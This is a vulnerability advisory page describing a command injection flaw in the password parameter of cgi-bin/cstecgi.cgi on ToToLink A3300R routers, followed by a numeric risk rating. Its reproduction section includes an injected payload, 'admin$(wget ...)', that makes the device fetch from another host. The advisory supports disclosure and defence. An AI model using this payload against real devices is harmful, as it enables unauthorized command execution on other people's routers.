Volerion logoVolerion
Volerion logoVolerion

ToToLink A3300R Command Injection Vulnerability in cgi-bin/cstecgi.cgi

Vulnerability

A command injection vulnerability has been identified in ToToLink A3300R firmware version 17.0.0cu.557_B20221024. This vulnerability allows attackers to execute arbitrary commands by exploiting the password parameter in the cgi-bin/cstecgi.cgi script.

Impact

Exploitation of this vulnerability allows for arbitrary command execution on the affected device.

Reproduction

To reproduce this vulnerability, send a POST request to /cgi-bin/cstecgi.cgi with a crafted payload in the password parameter. The payload can include commands that will be executed on the device. For example, including 'admin$(wget 192.168.6.1:8888/testpoc)' in the password field will execute the wget command.

Added: Apr 23, 2026, 7:06 PM
Updated: Apr 23, 2026, 7:06 PM

Vulnerability Rating

Custom Algorithm
spread
4.5
impact
7.5
exploitability
9.1
remediation
7.7
relevance
6.5
threat
6.4
urgency
2.9
incentive
8.3

Our algorithm analyzes dozens of metrics to generate these 8 key vulnerability categories, which are then combined to calculate the overall risk score.